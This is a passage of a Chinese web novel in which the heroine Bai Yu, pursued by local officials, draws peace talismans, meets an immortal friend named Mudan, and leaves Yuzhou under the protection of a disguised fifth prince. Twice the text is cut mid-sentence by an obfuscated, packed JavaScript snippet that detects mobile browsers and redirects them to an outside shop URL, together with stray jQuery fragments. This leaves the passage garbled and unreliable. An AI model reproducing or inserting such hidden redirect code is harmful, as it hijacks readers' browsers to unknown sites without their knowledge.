终于轮到商队时,守城官兵看过钱掌柜和贺老大递上来的身份信息和通关路引后,问两人:“可是从播州来的商队?” 两人对视一眼,回答:是。 官兵一挥手,声音洪亮道:“扣下!” “这是做什么,我们都是正正经经做生意的过路商人,印信都已经看过了,为什么要扣下我们!”钱掌柜据理力争。 没想到官兵更是蛮横,只顾拿人。 “我们也不知道,上面交代了,遇到播州来的商队直接拿下扣押,等候发落。” 吵吵嚷嚷的声音惊动了靠坐在马车里的钱方,他还没恢复精神,虚软无力地问道:“发生什么事了?” 白羽给他描述了事情经过,她心里有预感,是因为自己的事才连累了大家。正在想要怎么办时,就见钱方身子一撑下了车,去最前面和守城官兵交涉去了。 没过多久,他们就能正常进城了。 这时,钱方回到马车上,白羽问他:“你跟他们说了什么,他们才放人了?” “也没说什么,”钱方坐下来又靠在车厢上,避重就轻道:“就问他们有没有书面手令,如果没有凭什么无故扣押过路人,然后他们就放人了,可能没有手令自己也心虚吧。” 并非这么简单吧。 不过,既然事情已经解决了,白羽就没有多问。 进城后,钱掌柜去官署仓房寄存货物,贺老大和孙大娘就带着剩下的人先去找客栈住店。 等一切都安顿好后,大家先回房间美美地睡了一觉。 醒来吃过午饭后,下午就没有什么事了,钱方的状态比起进城时已经好了很多,于是便也张罗着要找他们主家二公子。 同行前就已经说好要帮他一起找,白羽的腿已经过了不能走动的时候,潘大夫也建议她适当活动,于是便也跟着去了。 钱方、贺六、阿粥、白羽、蕊儿一行五人出发去找人。 不知道慕五还在不在渝州城,去哪里找人完全没有头绪,钱方想了想,只能建议先去城里上等的酒楼、客栈问问情况,几人便打算分头行动。 贺六和钱方一行往东边找,阿粥跟着白羽和蕊儿去南边寻。 连着问了好几家店,都说没见过这样一行人,白羽倒是观察到路边摊位有不少卖符联的,卖的最好的是平安符和求财符,她就大致看了几眼,总感觉跟她学过的不一样。 一路问过来,直到两方人会合都没有探出半点慕五的影子,就在他们放弃寻找,几乎以为慕五已经离开渝州前往别的地方时,终于在一个道士的摊位处得了点有用的消息。 那道士捻着胡须称,他们口中描述的那位公子刚从他这里买走了八张平安符,往西街方向去了。 五人大喜过望,得了消息就出发去西边继续寻人。 一路寻过去,上点档次的酒楼客栈几乎快找遍了,也没看见慕五半点踪影,好不容易有一家客栈掌柜有印象,等见到了人,却发现是个五大三粗的行脚客。 白羽看着那汉子,嘴角抽了抽。 钱方撸起袖子就要去找掌柜的理论一二,被贺六好说歹说给劝下了。 找了一天,眼看着天色渐暗,苦寻无果下,几人打算今日先到此为止,明天再继续寻人,他们刚从客栈里出来,转过一条街就听到了熟悉的声音。 “你不知道,那道士说这平安符很灵的,说是有个六亲缘薄、家道中落、多病多灾的商人,自从来他这求了几道符,后半生平平顺顺活到了寿终正寝的年纪;还有个妇人,前面夭折了好几个孩子,求了他的平安符之后,生的孩子都特别健康活泼,老大今年还娶亲了。” 一道反驳声音起:“那富商能活到寿终正寝,是因为他本来就快到古稀之年了,求得也不过是个心安,那妇人后来能生出健康的孩子,是因为她改嫁了,丈夫身体健康,婆婆十分疼爱,与道士的符没多大关系。” “啧!”锦衣公子一手执扇,一手举符,语气中的不耐烦简直要溢出来,正准备说点什么,结果一下子僵住了。 白羽这边刚认出来那公子是慕五,反驳他的是当初在播州酒楼跟在他身边面白无须的老管家。 下一刻就看见钱方如离弦之箭一般冲过去抱住了慕五的腿。 “二公子,属下终于找到你了,要是再找不到你,大公子非剥了我的皮不可。” “起开,你谁啊你。”慕五踢着腿想要甩开他。 钱方抱着腿不撒手,抬起脸看向俯视他的慕五,脸上还残留着湿润的痕迹,看起来是真惊喜交加,“二公子,是我钱方。” 一番介绍相识后,几人跟着慕五回了他暂住的客栈。 慕五着急去关心白羽的腿伤,把一直缠着他的钱方抛之脑后,贺六看着前方对白羽大献殷勤的慕五,安静地和阿粥垫在最后。 白羽避开慕五要扶她的手,转移话题问道:“慕公子可否让我看看你手中的符纸?” 16. 牡丹 这肯定没问题,慕五大方地把手中符纸一把塞给了白羽,供她查看。 白羽接过来后,仔细对比,发现确实跟她所认知的画符笔势走向有很大差异,平安符等这一类符篆对符修来说算是基础术法,就像是初学者依葫芦画瓢一般,正常来说不会有出入。 她身边没有熟悉的符修仙者,只不过师父的藏书阁里有收录各类符篆秘法,她全都看过,所以记得一些。 而且慕五拿到的这几张平安符总是给她一种很古怪的感觉,但她如今没有法力,无法查看确认,只能先暂时按下不提。 把符纸还给慕五后,一行人进入慕五暂居的客栈,因寻找他错过了晚饭,于是慕五特意安排了一桌席面让白羽等人先填饱五脏庙,席间边吃边聊,气氛很好。 吃过晚饭后,钱方提出想留下来陪慕五住,于是白羽和贺六几人返回了他们在城东的客栈。 回到房间后,蕊儿和白羽先去打水洗漱,夜间也没有其他活动,蕊儿就打算睡了,看到白羽拿着方才从客栈掌柜那里借来的纸笔还在写写画画,便问道:“阿习姐姐,你还不睡吗?” “我还有些事,你先睡。”白羽回答。 看她放下床帐,白羽起身把屋里其他光源一一熄灭,只留下桌上一盏油灯。 她开始回忆脑海中残存的平安符画法,老实说,当初跟师父修行的时候,她就不愿意下苦工,修为是个半吊子,但是爱躲起来看书,尤其是古之秘法。那本讲符篆全录的古籍也只是大致看过一遍,没有重点去记忆,时到如今,她只能边画边与记忆里的图案对比。 当白羽画废第三张纸后,那些本来已经模糊的回忆逐渐清晰,再经尝试,她完全将符样复刻了出来。 看着新鲜出炉的平安符,白羽将它叠起来放好,想着灵与不灵的,等明天试过了就知。 床帐里传来蕊儿熟睡后平稳的呼吸声,她吹灭油灯,摸黑慢慢走到床前,摸索着上床睡下。 万籁俱寂之时,钱方宿下的客栈房间中灯火仍未熄灭。 白日里他就做好了打算,倘若找到五皇子他人,一定要寸步不离地跟着他,并劝说其立刻返京复命,所以当白羽等人要返回住处时,他在那边明明有房间,却还是执意留下来,为的就是——劝慕五回京。 夜尚未深,想必五皇子还没睡下,他想到就做,摸黑去了慕五的客房。 “二公子,您睡下了吗?”钱方看着屋内骤然熄灭的光亮,手上敲门却不停。 慕五被他吵得没脾气,认命地下床去开门,一边拉开门一边做出睡意朦胧被人扰了清梦的模样,“这么晚了,你想干什么?” 钱方赔笑:“二公子,我就知道您还未就寝?” “钱方,你这里……”慕五手指点了点自己的脑袋,“指定有点问题,抽个时间去找太医看看。” 钱方继续赔笑,强行从慕五身旁挤进房间内,抬眼就看到床帐上贴满了符纸,他疑惑发问:“公子为何要将这符贴在床头?” “保平安的啊,那道士说就是要贴在床头才有效。”慕五状似不经意间回答,随后语气不耐烦地质问:“你这么晚来找我到底有什么事?” “您最好还是不要用来历不明的东西,若真想求平安可以去相国寺求。”说到这个,钱方神情语气都严肃了不少。 “知道了知道了,有事快说。” 钱方:“我就是想问问您打算何时启程回京,殿下那里已经催了好几次了,我要是再不把您接回去,东宫我就别想回去了。” 慕五看着钱方苦哈哈的表情,想也能猜到他兄长是怎么给钱方下死命令的,但他如今好不容易达成所愿,实在不想半途而废,于是斟酌着用词:“再等五日吧,若是五日后还没有个定论,那我就跟你回去。” 说完看钱方还不走,那副不耐烦的神情又抬了出来,“怎么还不走?” “五殿下,我来时路上听闻您要给渝州建一座跨江桥,此事是否为真?” 慕五点头:“当然是真的。” “不可啊,殿下!”钱方当即反对道:“且不说当下匠人技术没有达到修建此类大桥的条件,就说西南道上这一片是娄氏的地盘,我们的人就算来了也施展不开拳脚,反而会被娄氏处处掣肘,就算建好了也是娄氏的政绩,到那时我们就很被动了,不能不防。” “我知道,但是这桥修好了有利于民生,造福两岸百姓,况且这桥是我兄长牵头建造,世人感念,也只会记我兄长的恩,就算西南道现在是娄氏掌控,你又怎知将来也会是,待来日我兄长登基,西南百姓就是我兄长的百姓,西南官员也只能是我兄长的臣下。” 钱方:…… 他无话可说,往日这位殿下一直不着调,他们这些东宫臣属也曾十分忧心,生怕在夺位之争中这位殿下不能作为太子的助力,反而成为他的累赘,他今日能考虑到这层也是不容易,虽然年纪轻很理想,但也在慢慢成长了。 钱方的欣慰之情还没收起,就听慕五接着道:“你虽是东宫臣属,但你父亲不是工部尚书吗,我回去就把这事说给我兄长,你说给你父亲,让他们商量派谁来做合适,如何?” 不如何,钱方遁走。 他觉得很大可能会派他来。 慕五拉着不让他走,要他给句准话。 钱方一边从慕五手里拽他的袖子,一边嘴上敷衍,“知道了知道了。” 慕五叮嘱:“当个事办。” 好不容易逃出来,钱方腹诽,这些当权者动个嘴皮子,他们下面的人就要跑断腿、说废嘴、累成鬼。 真晦气,跟你们这些皇子王孙说不明白。 一大早,白羽和蕊儿起来洗漱吃早饭,慕五昨天说他今日要过来玩,两人打算先把孙大娘昨晚交代的工作完成——帮商队统计需要补充的物资。 渝州是后续行程中最大的城池了,钱掌柜担心后面缺了东西来不及采买,便让孙大娘在渝州一次性采买齐全,尤其是一些常备药品,米面粮油、调味品,还有赶路来不及做饭吃的干粮等。 孙大娘是个大忙人,统计这件事就交代了她们俩先做。 白羽跟着蕊儿上上下下里里外外跑了一早上,才终于把大概数量的单子整理出来,就等着孙大娘忙完拍板决定。 时过正午,也没看见慕五要来的迹象,同样地,也不见贺六和阿粥的人影,两人先吃了午饭。 白羽这才想起来问蕊儿:“钱掌柜没说在渝州城停留几日?” “听我娘说只留两日,明天一早就走。”蕊儿放下手中汤碗,谨慎地看了看左右,这才压低声音对白羽说:“贺六哥、阿粥还有成哥是被派出去打探消息去了,我是偷偷听到我娘和我爹说话,说钱掌柜察觉出渝州城动向不太对,我们昨日早晨进城就被城门口官兵拦住了,说凡是播州来的商队都不让随便进出,钱掌柜觉得渝州城不是久留之地,所以我们明天一早就走。” 几句话听得白羽心神不宁,昨日进城是被拦住了,专查播州来的商队,她当时就怀疑是跟自己有关,但是钱方下车说了几句话,她以为事情已经摆平了,却没想到并没有。 如果是这样的话,她就不能再和商队同行了,否则再跟着商队就是害了他们。 一切都得等贺六他们探查消息回来再说。 下午,商队的统计采买工作告一段落,钱方领着慕五过来了,刚好贺六他们打探完消息也回来了,众人齐聚在客栈前堂。 白羽极其关心渝州城现在的情况,迫不及待地问贺六:“情况如何,是不是……跟我有关?” 贺六安慰地看了眼白羽,还是把打听到的消息如实告知她。 “渝州城七日前就开始戒严了,普通百姓说不清楚是为什么,但我们打听到几个从播州方向来的商队和镖行,有的七天前就进城了,今天都没能离开,听说官兵一直在查一个容貌姣好的年轻女子和一个武艺不凡的青年男子,来往商队中有符合特征的人都被抓了回去,我们回来时播州府衙来人刚刚进城。” 贺六隐晦地看了一眼钱方,继续道:“想来我们昨日清晨进城没被抓捕,多亏了钱方兄从中转圜。” 白羽沉默点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780768|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,表示自己知道了。 她缓缓回头对蕊儿说:“我恐怕不能再跟你们一起走了,这件事情的起因都在于我,只要我离开了,商队就不会再被阻拦。蕊儿,我先跟你说一下,等会再跟孙大娘说明实情。” “什么什么意思,什么抓捕商队,播州渝州的,我怎么没听明白,这事又跟阿习姑娘有什么关系?”听的一头雾水的慕五一边摇扇一边发问。 没听明白的也不止他一个,除了贺六,其余人都不在状况里。 白羽抿了抿有些干燥的上下唇,决定和盘托出。 她从永州逃婚开始说起,说到如何遇到商队得孙大娘相助,如何在播州庙会被人识破身份,又如何在贺六等人的帮助下逃脱,再到如今又被追捕的整个过程。 听罢,慕五合拢手中折扇在掌心狠狠一敲,“西南地方官已经权利大到不顾百姓意愿强抢民女的地步了吗?” 钱方噤声。 他早说了,西南道这一片就是娄氏的一言堂,他们的人根本插不进来。 看钱方不作声,慕五用扇子遮住口型,悄声问他:“那个娄知县是娄昭仪的什么人?” “听说是娄昭仪的本家堂弟,在永州那边作威作福惯了。” 慕五继续问:“那你觉得我们能带着阿习姑娘回京告娄昭仪一状吗?” 钱方略一思索,回应慕五:“我觉得可行。” 于是两人就带白羽同回京城一事达成共识,虽然各有目的,但双方都很满意这个结果。 慕五把自己的想法说了出来,静等白羽决定。他没说自己,只说了钱方家在京中大理寺有点关系,他们可以带她上京城告御状去。 白羽没用多思考就答应了慕五的邀请,全因她知道这两人身份不凡,跟着他们无论娄知县的势力有多强盛,都不会对慕五造成损伤,况且慕五的玉佩可能还在播州太守手里,这事他也牵涉其中,正好一起告了。 眼看白羽答应了,蕊儿流露出不舍的神情,贺六却是忧心忡忡,难以排解。 最棘手的问题解决,白羽心头一松,想到昨夜凭着记忆画出的平安符,正好可以跟慕五买到的对比一下。 “慕五公子,你昨日拿给我看的平安符还带在身上吗?”白羽从袖囊里取出自己画的几张符,对慕五说明意图:“我这里也有几张平安符,想看看和你的有什么不同。” “有的有的。”慕五连忙从怀中掏出一张递给白羽。 白羽把两张符并排放在桌上。 众人都围过来观看,慕五问:“阿习姑娘这平安符是从哪里求得?” “我自己画的。”白羽解释,“小时候跟一位老道士学过一些。” “确实不一样,哪个是真的平安符啊?” 就在几人围着两张不同的平安符众说纷纭时,客栈门口传来一阵环佩叮当声,飘来一缕缕清甜的牡丹花香,伴随花香而来的还有一道清亮洒脱的女子嗓音:“什么平安符啊,给我也瞧瞧。” 众人回过头就看到眼前立着一位花容月貌的俏丽姑娘,身穿赤金色广袖流仙裙,大袖和裙身裙摆处用金线滚边,绣着大片大片的牡丹花,眼尾和额心也用花钿画出一朵朵盛放的牡丹,发髻上更是簪着一大朵金色重瓣牡丹,通身无处不在的牡丹纹样,显得整个人雍容华贵极了,九月的牡丹,自然无比稀奇。 其他几人一时被这朵盛放的牡丹惊得没回过神,白羽却看着她皱眉。 出声质问道:“牡丹姐姐,你怎么在这?” “啧,你这是什么表情?” 随着她走进,牡丹花的清香愈浓,牡丹看着白羽警惕戒备的神色,眉眼间也沾了一份恼怒,“你当我很想来,我真不乐意见到你,不过是受人之托。” “何人?” “你确定要在这里说?” 白羽顺着她的眼神看向身边几人,略微解释了一下牡丹的身份,“这是我幼时好友,名唤牡丹,我跟她有些事情要聊,先走一步。” 说着拿起桌上两张符纸,走到牡丹身前,对她指着楼上方向,说:“请吧。” 17. 分别 白羽把牡丹邀到楼上房间,并不寒暄,开门见山地问:“你受何人之托来的?” “司命。”牡丹也不兜圈子,直接告诉了她,“他推算出你近期可能有一劫数,不是命数中该有之劫,或为人为,或为其他变数,而他没办法来凡世找你,知道凡间来年的春日醒花宴由我操办,所以托我照顾你一二。” “我的劫数?司命没说我的劫是什么?” 牡丹:“没有,他推演不出来。” 看白羽还在皱眉苦思,牡丹双手抱臂也帮她开拓思路:“你最近有遇到什么麻烦事吗?” “没有,唯一比较棘手的事情也有了妥善的解决办法。”白羽说:“如果是连司命也推算不出的变数之劫,那很可能就是事关生死的大事了,难道是我要死了?” “不该吧,你这才第一世,会死这么早吗?”牡丹被她的猜测惊得嘴角抽搐。 白羽也不愿再想,左右还有八十世,早死早超生,也是好事。她从袖囊里拿出方才那两张符纸交给牡丹,问她意见:“牡丹姐姐帮我看看这两张平安符有何不同之处。” 牡丹伸手接过两张符纸,往里面各自注入一丝法力,然后拿起白羽画的那张说:“这个是平安符无误,另一张不是,是什么我也说不上来,我不精修此道。” 她话刚落,桌上的那张符纸突然无火自燃,不过眨眼间,符纸燃尽,桌面只余零星灰烬,一阵穿堂风起,风过无痕。 “这是怎么回事?”白羽惊讶。 牡丹说:“此间灵气稀薄,飞禽走兽、花草树木之中连个小妖小怪都没有,凡人修士更是绝迹,就是一个很普通的凡人世界,承受不住高阶修士的法力很正常。” 果然,就在她松开手指,那张完好无损的符纸也无风自燃起来,牡丹挥了挥衣袖,符纸燃尽的纸灰被风带走,什么也没留下。 佛家说三千世界,灵气的分布程度也是各有不同,灵气充沛的世界,修士飞升、妖精化形、草木启智的时间也是大大缩短的,而灵气稀薄的世界,不会有修士和修真门派,妖精鬼怪也根本不会存在,就连凡人的寿命也只有短短数十年,稍微有点小病小灾也足以要了人的性命。 无疑,白羽历劫第一世就落在了这么一个灵气稀薄的凡人世界。 不过这样也好,白羽想:没有外力影响,人的生老病死就是自然之力。 心中的困惑解除,白羽开始安排牡丹接下来的行程,“牡丹姐姐下凡为了来年的春花宴,如今是九月末,距离明年三月还有近半年时间,我刚刚决定与人一起同行去京城,你若是没别的安排,不如这段时间跟我在一起?” 牡丹:“那是自然,刚好看看你会遇到什么劫数,能不能给你化解了。” 两人说好后就一起下楼,后面一路同行,免不了要和慕五一行打交道,早点认识多多熟悉自然是好的。 牡丹天性直率,为人洒脱开朗,喜好交友,很快就和慕五钱方、贺六阿粥、蕊儿孙成他们打成一片,慕五叫来一桌酒席,席间推杯换盏、把酒言欢,更是加深了彼此了解。 她在这方面仿佛无师自通一般,根本需要白羽为她这个“后来者”的身份操心。 日色渐渐西沉,已是日暮黄昏时分。 白羽看到孙大娘夫妻从外面办事回来,紧急交代牡丹后,独自跟随孙大娘同回二楼房间。 毕竟道别还是需要当面说,而且她也要解释为何初见时在身世上说了谎,也要感谢孙大娘一家这段时间以来对她的照顾和关爱。 “阿习来了,快坐吧。”孙大娘看白羽跟着进门,一边打水洗手,招呼她坐下,一边叮嘱:“我和你阿叔刚办完商队采买的活儿,明天一早就要出发了,你跟蕊儿晚上记得把随身行李收拾好。” 白羽看了眼孙大娘的丈夫,对他问候了一句,然后说:“多谢大娘,我等会回去就和蕊儿一起收拾。但现在来是有些私事想跟您商量一下。” 此话一出,孙大娘的丈夫十分有眼色,他借口去看厨房的晚饭办好了没有,避开两人的房中谈话。 房门关合,孙大娘擦干手脸,来到桌前坐下,关心地询问她:“怎么了,有什么事要跟大娘说。” “我想先向您道个歉,关于我在永州城外初遇您并向您撒谎自己是个家人俱亡的孤女这件事。”白羽的神情充满了歉意,接着将自己的真实遭遇向孙大娘娓娓道来。 一席话毕,孙大娘隔着圆桌握住白羽的双手,宽大的手掌拢进来满满的安全感,轻声安慰她:“大娘不怪你,我知道你定然是有自己的难处,出门在外多有不便,遇到有难之人,能帮尽帮,这是应该的,你也不用特意来谢。” 所谓,闻弦音而知雅意。 孙大娘话音一转,接着道:“那你如今把这事说开了,是有别的打算了吗?” 白羽回答:“是。我听闻钱掌柜派了孙成哥他们去探听消息,恐怕渝州这边官府已知悉我的身份,派来抓捕我的官差或许已经进城,既然他们敢明目张胆地拦截过往商队,定然是有更上面的人物的授意,所以我不能再冒险跟随商队,这样只会为你们带来更大的麻烦。” 不等孙大娘询问她,白羽说起了自己安排的后路:“当初在播州结识了慕五公子,依我猜测,他家在京城是有些底蕴的,他承诺可以庇护我去京城告御状,这件事想要妥善解决也唯有此法。因此,明天一早我会随慕五和钱方公子同去京城,就在此与您别过,多谢您这段时日以来的庇佑。” 孙大娘扶起白羽行礼的手势,长长叹息了一口气,说:“自古民不与官斗,我们身份太过低微不能继续保护你,如今能有权力更大的贵人愿意助你行事,我自然替你高兴,只是往后一定要多加小心才是。” 白羽重重点头,从怀中掏出几张自己画的平安符交给孙大娘,“我身无长物,也别无所长,幼年时曾拜在一位师父门下,这是我画的平安符,日常随身携带或放在荷包里,能保平安健康,可渡厄消灾。我稍后再画制一些,您帮我分发给大家,也感谢他们这一路以来的照顾。” 孙大娘自是满口答应。 道别的话说完,白羽回房间后就开始裁纸画符,钱掌柜的商队总共有二十六人,再加杂耍班十二人,每人两张平安符傍身,她起码得画七十六张。 一晚上画七十六张,不提所用时间,但单说画符也是一件极其耗费心神的事情。 楼下酒席结束,牡丹也没等到白羽归来,索性上楼去房间找她。 门一打开,桌上堆得全是符纸和朱砂,白羽埋头期间,神情专注地动笔,就连她开门的声音也充耳不闻。 牡丹携着一身酒香凑近了观看,醉醺醺地说:“怎么又在画符啊?” 平时修炼也没见这混子这么上心过,都这会儿了,才开始抱佛脚,是不是晚了。 “你喝醉了就去床上休息,别在这里干扰我。” 牡丹没答话,拎起茶壶灌了几口水,才笑吟吟地跟白羽闲聊:“我们刚才在下面喝酒,你那个朋友叫钱方的,很有趣,挺健谈的,慕五像个乳臭未干的小子,傻蛋一个,蕊儿蛮可爱的,小大人一样,真想把她拐走啊,可惜明天就要分开了。” “不是还有两个吗?”看她不说话了,白羽好奇地问。 牡丹皱着眉头摆摆手,吐槽他们:“那两个跟个木头人一样,话少得可怜,你刚走没多久他们就离席了,没意思。” 白羽画完一张,终于停下手上动作,关于贺六像叶启像紫翎仙君这个事,她有心想问一问牡丹的意见,但看她醉得已有些神智不清的样子,还是收回想法让她去休息。 后来一整个夜晚,白羽都在埋头画符。 时至三更才脱衣上床睡觉。 第二天一早,吃过早饭后,商队整装待发,白羽把一沓平安符交给孙大娘时才知道杂耍班并不打算跟他们一起上路。 她拿着要给杂耍班众人的平安符去找贺六,看到他在帮着队伍打包行囊,走过去问他日后去向。 贺六系紧最后一个绳结,抬头看着白羽笑,确定忙完之后,和她来到僻静处才告知:“昨天听闻你要脱离商队跟慕五他们北上,我担心你一路人生地不熟的不安全,即便后来你朋友来了,也不太放心你跟着他们,毕竟你们是两个女子。” 说到这里,他连忙解释:“我不是说你们两个女子就很柔弱可欺的意思,我是觉得万一出了事,慕五的人肯定会第一时间保他们俩,你们如果有相熟的朋友在身侧,也能有个照应,而且我们走南闯北惯了,也能起点探路的作用。所以,就去找贺老大商量后面的行程,刚好贺老大也说要去京城,既然同去京城,正好顺路护送你们。” “原来是这样。”白羽恍然,怪不得昨天牡丹说他不说话突然离席,她想贺六不是话少孤僻的人,这样一来就说得通了。 “这是我画的平安符,本来是作为送别礼送给商队和杂耍班的,既然后面要同路,那就提前收着吧,你帮我给大家分一分。” 说着,白羽从最上面抽出两张平安符放入贺六骨节分明的大掌中,着重说:“这两张是送给你的,希望它能保你平安,渡厄消灾。” 白羽走了,贺六握着平安符站在原地半晌不动。 他看着掌中朱砂画就的繁复图文,眼神都不能聚焦一般,回想:他方才真的听到了……心脏跳动的声音。 白羽发完平安符,商队这边已经要出发了,她出来送别,蕊儿突然像小炮弹一样冲进她怀里,什么话也不说,就是抱着她默默流泪。 弄得白羽心里也挺难受的,只能承诺以后一定找机会去看她,才把人哄好。 商队渐渐离开长街,白羽等人也要准备出发了,没过多久,慕五的豪华马车从街西尽头驶来,旁边骑马陪同的是钱方和他的两名随从。 车驾甫一挺稳,慕五就连忙从马车里跳出来,他的白面无须老管家拦都拦不住,急得跟在后头直皱眉头。 慕五跳下车,邀功似的对白羽道:“阿习姑娘,牡丹姑娘,我新得了辆马车,走起路来舒适又美观,便特意为你们也打造了一辆,我们一同上路。” “多谢慕五公子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780769|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”白羽出声道谢。 牡丹凑上前去打量这所香车宝马,满意地直点头,“多谢慕五公子,这路上的舒服多亏了有你。” 慕五被夸得满面红光,“唰”地打开手中折扇给自己降温,嘴里还在谦虚,“谢什么,都是自家兄弟姐妹!姐妹高兴我就高兴!” 钱方骑在马上,隔空和慕五的内监总管对视,具是看到对方脸上不忍直视的表情。 他心想:幸亏这傻子有个一母同胞的亲哥哥,家里的皇位不用他继承。要不然啊,李唐王朝的江山危矣! 白羽和牡丹上车,慕五也在老管家的搀扶下坐上了自己的马车,他们走在前面,杂耍班的车架跟在后面,一行人渐渐离开了闹市区,往城门口走去。 马车上,牡丹倚着软绵绵的靠枕,找了个舒服的姿势躺下,对白羽说:“昨晚没睡好,这马车好,我补个眠。” 白羽挑开车帘看了一眼,车已行至城门口,远远地能瞧见装备甲胄的城门守卫,她放下车帘,对已经闭上眼的牡丹道:“快要出城,恐怕你不能好眠了。” 她刚说完,行进中的车架突然停滞,打头阵的是钱方和慕五的马车,她们在车中听到城门守卫拦住队伍要车中人下车搜查,慕五当然不从,于是便争执了起来。 又有两名守卫向白羽她们的车架走来,伸手欲挑开车帘,查看车内坐的究竟是何人。 钱方瞧见了,大喝一声:“住手!” 可惜已经晚了,车帘被拨开,白羽的面容暴露在众多官兵面前。 他们中大多数人都见过白羽的画像,长官特意交代过,见到此女子立即扣押拿人,二人正欲动手立个功。 “大胆,竟然敢对五皇子的车架如此放肆,你们不要命了吗?”慕五那位面白无须的老管家扯着嗓子吼出来。 五皇子怎么会在这? 奉命搜查的众多官兵均面面相觑,直到那位老管家亮出了一个刻有“大内总管”字样的令牌,他们看出了那的确是宫中该有的规制,这时,慕五用折扇挑开窗帘,露面后眼神淡淡扫视了一圈这些人,瞬间呼啦啦跪倒一大片,直呼“拜见五皇子”。 慕五放下车帘,老管家代替他免了礼,让大家都起来。 城门守卫中一个官兵站出来说,第二辆车中那女子是衙门通缉的要犯,必须要捉拿归案。 老管家骂他:“放肆,那明明是五皇子新收的婢女,你敢以下犯上?” 守卫官在心里快速权衡一番,迎着笑脸赔罪:“不敢不敢,是小人有眼无珠冲撞了五皇子大驾,还望您大人有大量,宽恕小人。” 说着下令城门守卫让开封锁,放五皇子的车马过去。 就这样白羽和牡丹坐在车里,跟着慕五的马车毫发无损地出了渝州城门。 后面杂耍班一行人也没有被搜查,守城官兵痛痛快快地放了行。 等到他们一行人彻底出了渝州城,越走越远时,守卫官身边一个小兵恶狠狠地说:“大人,就这样放他们走了?那女子明明就坐在车里。” 守卫官狠狠地拍了他的脑袋一下解气,“你有几条命敢去拦五皇子的马车,那可是中宫嫡子、太子亲弟,你想献功邀媚,老子我还想活着呢!” 他随手指了一个,“你,回去跟大人说,播州和永州要的那女子被五皇子带走了,我们拦不住。” 那小兵应了后,拔腿就跑回衙门方向。 ………… 出了渝州城门,牡丹坐起来夸赞白羽:“你还真是料事如神。” 白羽脸色平静,什么料事如神,不过是对这群烂透了的官差走狗的了解罢了,在永州她逃婚后乔装躲过了城门搜查,在播州被识破身份后强制送回永州途中,与贺六他们合力杀了两名衙门官差。 现在来到渝州,出城门时她明明可以选择再次乔装改扮一下,但她没有,说白了,慕五这根大腿足够粗,他的身份太过好用,既然如此,她就是想让这些人享受一下想抓的人近在眼前却又不能动手的挫败感。 暴露了正合她意,以后路上都不用躲躲藏藏了。 钱方打马来到她们车旁。 “两位姑娘,现已出城,之后路上再无事了,你们累了正好可以歇一歇,我们预计正午在下一个驿站停留用膳。”交代完毕后他很贴心地解释:“方才说两位是我们公子的婢女系权宜之计,望两位姑娘不要介怀。” 白羽探出马车,“钱公子多虑,我还要多谢你们的庇护,你若有事,便去忙,不用过多关照我们。” 钱方向白羽拱手道别,他略微疑惑地走向后方贺六所在的杂耍班,同样交代了正午在下一个驿站停歇的事。 返回时,他的疑惑终于有了答案。 白羽姑娘得知了他们公子是五皇子,再跟他搭话时却没有任何惊讶,仿佛早就知道似的,反观贺六和杂耍班众人,得知这个消息后有很明显的惊讶和兴奋的反应,这才是正常的。 他摇摇头,驾马回到队伍最前面,也不知慕五这个笨蛋是几时暴露了自己的身份,才让白羽猜出来的。 18. 刺杀 车行辘辘,半途中白羽顶不住困意,看着早已进入梦乡不知几个轮回的牡丹,渐渐地也陷入了睡意朦胧之中。 等她再次醒来,日当正午,马车行驶在官道上,周围皆是山石密林,分不清身处何地,又走了多久。 她探出窗外,看到了在前面不远处的钱方,便出声问道:“钱公子,我们如今走到哪里了?” 钱方戴着遮阳的斗笠,闻言往后一勒马缰来到白羽身边,“如今刚到正午,我们走了百里路,现在是在渝州东边郊外,快到菩提山了,那边有一所驿站,也不远了,所幸到了那边再休息用膳也不迟。” “那自然是好,有劳了。” 白羽颔首致谢,钱方也微笑回礼。 果不其然,大约又走了一刻钟,车马就停了下来,白羽叫醒沉睡的牡丹,两人对镜略略整理发髻和衣领,就从马车上下来。 面前是一座翘脚檐楼,楼牌上书写着醒目的三个大字“菩提驿”,驿站坐落在菩提山脚下的菩提镇里,是整个镇子上面积最大、最气派的建筑,比她们在安澜镇歇脚的里长家宅子大了好几倍。 驿站门前来来往往都是一些官员和随从打扮的人,驿吏们忙着接待,迎来送往。 菩提驿的驿丞早得了通知,说五皇子殿下一行途径此地,要在菩提驿歇脚,让他们谨慎伺候。 白羽跟在慕五后面,只见一个高大挺拔的中年男人,蓄着一指长半掌宽的美髯,带着满脸恭维的热情笑意连忙迎上他们一行人。 “臣菩提驿驿丞赵观火拜见五皇子殿下,殿下大安见喜,这菩提驿简陋寒酸,能得殿下您大驾光临,实在是蓬荜生辉,令臣下不胜欣喜,容臣好生招待您。” “起吧。”慕五抬了抬扇子。 他坐了一早上马车,本就摇摇晃晃不甚舒服,此刻头昏脑涨,只想找个地方赶紧休息休息,吃口热乎饭,结果这驿丞一来就是这么一大段客套话扔下来,他头更疼了。 钱方见状立马上前接话,“殿下只是用一顿饭,略微休息就上路,并不打算停留,赵驿丞不必忙碌,先去安排吧。” “是,是。” 赵观火拱手应是,喊了几个吏员和马夫帮他们安顿行李喂马,自己忙陪在慕五身旁带路,安排厢房休息用餐。 